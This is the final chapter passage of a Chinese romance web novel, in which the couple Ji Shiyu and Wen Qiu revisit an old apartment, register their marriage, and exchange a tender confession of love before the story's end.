“里面脏,很久没打扫了。”季时昱亲他一口,“今晚住在这里,明天带你过去看一眼。” 闻湫点头,“都听哥哥的。” 【哥哥说什么就是什么。】 他们互相搂着对方单纯睡了一觉,次日上午离开酒店,在附近的小店吃了顿饭,终于去了那套被遗忘已久的房子里。 说是遗忘,其实每隔一阵子有人来打扫,闫絮名下不缺房子,更不缺钱,买下后住不了就放着,等着哪天来旅游时,提前找人打扫完住进来。 季时昱打开门锁进去,昨天找人打扫了这里,屋里很干净,除了家具和一些电子设备陈旧了一些,其他的没有大问题,完全可以住人。 他带闻湫参观了一圈,后者抱着他坐在沙发上,问:“哥哥,你还记得那年都跟我说过什么吗?” “说了什么?”季时昱记不太清楚。 闻湫默了一会儿,轻声道:“你说,你会永远保护我。” 季时昱意外抬眼,“你没骗我?”他不认为自己会说这种话。 “这种事骗你干嘛啊。”闻湫厮磨着他的耳垂,笑道:“我都当真了,谁知道你第二天就不见了,我去警察局找那位刘叔叔,他让我忘了你,还说我们以后不可能再见面了。” 那时候的闻湫不信邪,每天待在公园等待,再到后来去敲门,被邻居告知真相的那一刻才放弃找人,第二天又开启了每天看不到希望的日子。 季时昱听得愧疚,晚上没有约束闻湫,导致自己被搞昏了过去。 昏迷之前,听见闻湫偷偷窃喜的心声。 【装可怜太有用了,下次还要这样。】 他不禁在心里失笑。 真是个傻子,亲身经历过的痛苦,再拿出来讲怎么就叫装可怜了。 他心疼闻湫,也爱惜闻湫,愿意再多纵容一点儿。 他们在这里住了两天,闻湫每天买菜做饭,好久没有人住过的房子突然有了烟火气息。 周日23:59过后,闻湫满了20周岁,他没有跟季时昱讨要什么,只等着拿结婚证当作最好的生日礼物。 周一早上,他们乘坐飞机飞往A市。 上午十点半,季时昱牵着闻湫进入了民政局。 再出来时,彼此手里拿了个红本本。 闻湫激动地平静不下来,先一步跨出民政局,翻开结婚证看一眼再合上,过一会儿再重复一样的动作,不知不觉红了眼睛。 季时昱望着前面高挑的背影,心中跟着愉悦,有些话忽然想在这个时候吐露出来。 他心里发热发麻,有根羽毛在上面轻轻扫荡,下意识弯起嘴角,声音带着不可忽视的笑意:“闻湫。” 闻湫疑惑回头,“哥哥,怎么了?” 明媚耀眼的阳光打在闻湫身上,照得皮肤在发亮,镀了层光的头发变成栗色,眼中含笑,表情鲜活雀跃,整个人充满了少年气息,看不出半点阴郁。 季时昱轻笑一声,眼神温柔极了。 “我爱你。” 闻湫黑色的瞳孔骤然扩大,兴奋到轻轻颤动,眸底倒映着他的身影,很快红了眼眶,点了点头,声音带着抑制不住的哭腔。 “嗯,我知道。” 光刺得双眼发酸,季时昱眼睛湿润,走过去牵住了闻湫的手。 “家长见了,证也领了,以后不许哭了。” “哥哥,你眼睛红了,是在为我哭吗?” “没有,光太刺眼了。” “嗯嗯,我拿结婚证帮你挡着点儿。” “中午想吃你做的饭。” “好啊,我们待会儿去超市买菜。” …… ——正文完——